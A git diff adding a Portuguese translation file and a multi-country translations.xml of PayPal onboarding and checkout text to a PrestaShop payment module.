a/modules/paypal2/pt.php b/modules/paypal2/pt.php new file mode 100755 index 0000000..739424b --- /dev/null +++ b/modules/paypal2/pt.php @@ -0,0 +1,133 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Aceita pagamentos por cartão de crédito (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) com Paypal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Você tem certeza que você quer deletar seus dados?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Você deve definir suas credenciais do PayPal Integral, para que o tema de telefonia móvel funcione corretamente.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_bd6b3cca1e559117a964cdfab6a977cf'] = 'O tema de telefonia móvel somente funciona com o módulo de pagamento Paypal neste momento. Por favor, ative o módulo para permitir pagamentos. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ea5eb3f904bf42377277255cbd0e2251'] = 'Para funcionar corretamente o módulo requer o módulo de compatibilidade com versões anteriores habilitado'; +$_MODULE['<{paypal}prestashop>paypal_abstract_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Para funcionar corretamente o módulo requer pelo menos o módulo de compatibilidade com versões anteriores v'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Para usar o módulo você precisa instalar o módulo de compatibilidade com versões anteriores.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d739f6e2d6351c3a587d44190a8253af'] = 'Todos recursos do módulo API do Paypal estão incluídos no novo módulo Paypal. Para que não haja nenhum conflito, por favor, não use e remova o módulo PaypalAPI.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Fundos foram recuperados.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Sem sucesso na recuperação dos fundos solicitados. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Validação bem sucedida. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Reembolso foi efetuado.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Reembolso solicitado sem sucesso. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Resultado de cancelamento de produtos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_90ab0cfd410722553c79e614207a789a'] = 'Alguns campos estão vazios.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Campos de credenciais não podem estar vazios'; +$_MODULE['<{paypal}prestashop>paypal_abstract_3f7145179c909f0e87a911a3171986b6'] = 'Campo para e-mail comercial não pode estar vazio'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Mensagem de pagamento não é válida, por favor verifique seu módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de operação de reembolso:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reembolso do Paypal efetuado com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erro de transação!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de operação de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Terminado o pedido com Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Status de verificação:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Você está usando o e-mail padrão que vem com o Paypal, por favor coloque seu próprio e-mail.'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema conectando com o servidor do Paypal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Conexão usando cURL falhou'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Falha na verificação (usando cURL). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Falha na verificação (usando fsockopen). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Sem transporte de comunicação disponível.'; +$_MODULE['<{paypal}prestashop>validation_2818bed1f235637049f4d46fd455dc1c'] = 'A chave Paypal \'mc_gross\' não foi especificada, não pode controlar a quantia paga.'; +$_MODULE['<{paypal}prestashop>validation_be59cbfbf305dc45cd0c3e9841b17ecf'] = 'A chave Paypal \'payment_status\' não foi especificada, não pode controlar a validade de pagamento'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'A chave Paypal \'custom\' não foi especificada, não pode transmitir ao carrinho'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'A chave Paypal \'txn_id\' não foi especificada, transação desconhecida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'A chave Paypal \'mc_currency\' não foi especificada, moeda desconhecida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrinho não foi encontrado'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Pedido já foi feito'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID de Transação Paypal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'A transação do Paypal não pode ser VERIFICADA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fazendo nova conexão com'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Falha ao conectar com método CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Conexão com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Enviando este params:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Envio com método CURL falhou! Erro:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envio com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Conexão com método fsockopen falhou'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Conexão com método fsockopen com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Envio com método fsockopen falhou!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envio com método fsockopen com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Resposta do Paypal'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Papel de presente'; +$_MODULE['<{paypal}prestashop>submit_1e97d97a923eaddd810e056c828e99ea'] = 'Erro no pagamento'; +$_MODULE['<{paypal}prestashop>submit_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Este produto não está mais em estoque com estes atributos mas está disponível com outros'; +$_MODULE['<{paypal}prestashop>submit_d141a42a5e72c871a3116414bb5c64c1'] = 'Não é possível criar novo carrinho'; +$_MODULE['<{paypal}prestashop>submit_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Ocorreu um erro:'; +$_MODULE['<{paypal}prestashop>submit_58f53d0306ffc9cc9820eab866e90efe'] = 'Erro durante a preparação do pagamento express checkout'; +$_MODULE['<{paypal}prestashop>submit_51da74120dd5e11817ef21e27d2599bc'] = 'Não foi possível criar cliente'; +$_MODULE['<{paypal}prestashop>submit_bcf08b34ab427cb871635151c6976eb0'] = 'Não foi possível criar endereço'; +$_MODULE['<{paypal}prestashop>submit_ca5cecfc8fd8e585ba1e684757168158'] = 'Não foi possível atualizar o carrinho existente'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>submit_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o mesmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>submit_98825385aadb1d0dd0fd133ef8acd23d'] = 'Não é possível criar pedido'; +$_MODULE['<{paypal}prestashop>submit_085b78e060c3ef4cc37bd25abd06ff66'] = 'Carrinho mudou desde o último checkout express, por favor faça um novo pagamento no checkout Paypal'; +$_MODULE['<{paypal}prestashop>notifier_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o msmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Carrinho mudou, por favor entre dados novamente.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erro!'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Captura Paypal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Fundos prontos para serem capturados antes do envio'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Obter o dinheiro'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Reembolso Paypal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Pagamento aceito'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Quando você reembolsa um produto, um reembolso parcial é feito a menos que você selecione \"Generate a voucher\".'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Reembolso total da transação'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Você tem certeza?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validação Paypal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Captura Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Pagamento Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Obtenha o status do pagamento'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'O que é Paypal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, uma confiável empresa líder em pagamentos on-line, permite que compradores e empresas enviem e recebam dinheiro online. PayPal tem mais de 100 milhões de contas de membros em 190 países e regiões. Ele é aceito por comerciantes em toda parte, dentro e fora do eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'É seguro para usar?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal ajuda a proteger suas informações de cartão de crédito com líderes de mercado em segurança e sistemas de prevenção de fraude. Quando você usa o PayPal, suas informações financeiras nunca são compartilhadas com o comerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Porque usar Paypal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Faça compras ou envie dinheiro com o Paypal - é grátis!'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Compre e pague de forma conveniente salvando suas informações com o Paypal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'O Paypal é aceito por milhões de empresas em todo o mundo e é o método preferido no eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Comece a usar o Paypal hoje!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com Paypal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Seu pedido no'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'está completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Você escolheu o método Paypal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Seu pedido será enviado em breve.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Para qualquer pergunta ou mais informações, por favor contate nosso '; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'serviço de atendimento ao cliente'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Por favor consulte os registros:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Voltar'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmação do Pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total da transação (impostos incluídos) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'A ID do seu pedido é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'A ID da sua transação Paypal é:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Acompanhar meu pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Voltar para pedidos'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Seu carrinho de compra'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Resumo do pedido'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pagamento Paypal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Você escolheu pagar com Paypal.'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Aqui está um curto resumo do seu pedido:'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'O valor total do seu pedido é'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(imposto incluído)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nós aceitamos as seguintes moedas para serem enviadas pelo Paypal:'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Por favor confirme seu pedido clicando \'Eu confirmo meu pedido\''; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Eu confirmo meu pedido'; +$_MODULE['<{paypal}prestashop>express_checkout_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>iframe_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Volte para o website do comerciante'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pague com o Paypal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague com sua conta Paypal, cartão de crédito (CB, Visa, Mastercard...), ou cartão de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague com sua conta Paypal'; diff --git a/modules/paypal2/translations.xml b/modules/paypal2/translations.xml new file mode 100755 index 0000000..2d633b6 --- /dev/null +++ b/modules/paypal2/translations.xml @@ -0,0 +1,3676 @@ + + + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + Getting started with PayPal only takes 5 minutes + + Get more buyers
        100 million-plus PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment method
      • + ]]> +
        + + Your country + change + Select your country + + Need help ?]]> Give us a call : xxxx + call + + + You already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, pay only when you get paid. + + + Website Payments Pro + + A professional platform to accept payments through credit cards and PayPal account, covered by seller protection.]]> + Customized payments pages. Monthly subscription of 25€. + + Click on the SAVE button only when PayPal has approved your subscription for this product. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%*. + *Source: Forrester research realized in march 2011 + + Apply or open your PayPal Business account + + Enable your online shop to process payments + Give your PayPal Identification info, finish to set-up your account and start accepting payments + Communicate your PayPal identification info to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal identification info + After clicking on the “Get my PayPal identification info†button, enter your login and password in the pop up, copy your PayPal identification info from the pop up and paste them is the below fields. + API username + API password + API signature + API business e-mail + Please check once more that you pasted all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Use express checkout shortcut + Offer your customers a 2-click payment option + + Use Sand box + (recommanded) + Activate a test environment in your PayPal account (only if you are a developer). + Learn more + https://developer.paypal.com/ + Live mode + Test mode + + Activating the test mode implies that + + You won’t be able to accept payment +
      • You will need to come back to the PayPal module page in order to complete the Step 3 before going live.
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to complete the PayPal identification Information in step 3 otherwise you won’t be able to accept payment. + + Congratulation ! + You can now start accepting Payment with PayPal. + You can now start testing PayPal solutions. Don’t forget to comeback to this page and activate the live mode in order to start accepting payements. + + + Sign Up + Once your account is created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=2 + + + Subscribe + + Click on the SAVE button only when PayPal has approved your subscription for this product,]]> + otherwise you won't be able to process payment. This process can take up to 3-5 days. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + Sign Up + Once your account is created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=3 + + + + + + + + Subscribe + + Click on the SAVE button only when PayPal has approved your subscription for this product,]]> + otherwise you won’t be able to process payment. This process can take up to 3-5 days.]]> + ]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=4 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 1800-073-263 + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro - Hosted Solution + A professional platform that enables you to accept debit card, credit card and PayPal payments.]]>Customised payment pages. Monthly subscription of 25$. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=48 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=50 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=49 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=50 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 0800 50970 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=42 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=43 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 400-680-6220 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=58 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=59 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
